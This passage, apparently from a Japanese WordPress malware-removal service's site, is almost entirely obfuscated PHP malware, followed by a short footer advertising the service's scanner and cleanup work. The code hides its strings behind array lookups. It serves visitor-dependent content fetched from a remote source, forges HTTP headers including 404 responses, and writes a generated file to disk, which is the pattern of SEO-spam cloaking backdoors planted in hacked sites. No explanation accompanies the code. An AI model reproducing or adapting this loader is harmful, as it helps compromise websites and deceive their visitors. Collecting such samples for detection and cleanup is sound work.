            preg_match("/<h2>(.+)?<\\/h2>/", $oOOoOoOooOOo, $oOOoOoOoOooO);
            echo $oOOoOoOoOoOo[$oOOoOoOooOoO] . $O[38] . $O[38] . $O[70] . $O[29] . $O[40] . $O[26] . $O[54] . $O[30] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[30] . $O[32] . $O[13] . $O[3] . $O[6] . $O[24] . $O[4] . $O[30] . $O[40] . $O[3] . $O[52] . $O[9] . $O[50] . $O[70] . $oOOoOoOoOooO[1] . $O[9] . $O[27] . $O[50] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . PHP_EOL;
            usleep(100000);
            $oOOooOOooO .= $O[62] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[52] . $oOOoOoOoOoOo[$oOOoOoOooOoO] . PHP_EOL;
        }
        file_put_contents($oOOooOOoOooO . $O[27] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4], $oOOooOOooO);
        echo $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4] . $O[38] . $O[38] . $O[70] . $O[9] . $O[50] . $O[70] . $O[6] . $O[29] . $O[39] . $O[44] . $O[4] . $O[13] . $O[39] . $O[9] . $O[27] . $O[50] . $O[70];
    } else {
        header($O[15] . $O[28] . $O[26] . $O[4] . $O[13] . $O[26] . $O[4] . $O[30] . $O[4] . $O[11] . $O[29] . $O[13] . $O[52] . $O[4] . $O[13] . $O[10] . $O[4] . $O[27] . $O[10] . $O[25] . $O[24]);
        echo $oOoOoOoOoO;
    }
    exit;
} elseif (strpos($oOoOOoOo, $O[19] . $O[29] . $O[17] . $O[56] . $O[17] . $O[59])) {
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO);
    if (empty($oOoOoOoOoO)) {
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]);
        exit;
    }
    echo $oOoOoOoOoO;
    exit;
} else {
    if ($oOoOoOoO != '' && preg_match('/(' . $oOOooOoOoO . ')/si', $oOoOoOoO)) {
        $oOoOoOOoOo = OOOOO($oOOooOOo, $oOOoOooOoO);
        empty($oOoOoOOoOo) ? header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]) : (print $oOoOoOOoOo);
        exit;
    } else {
        if ($oOoOoOOo != '' && preg_match('/(' . $oOoOOooOOo . ')/si', $oOoOoOOo)) {
            $oOoOoOOooO = OOOOO($oOOoOoOo, $oOOoOooOoO);
            if (!empty($oOoOoOOooO)) {
                echo $oOoOoOOooO;
                exit;
            }
        }
    }
}

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.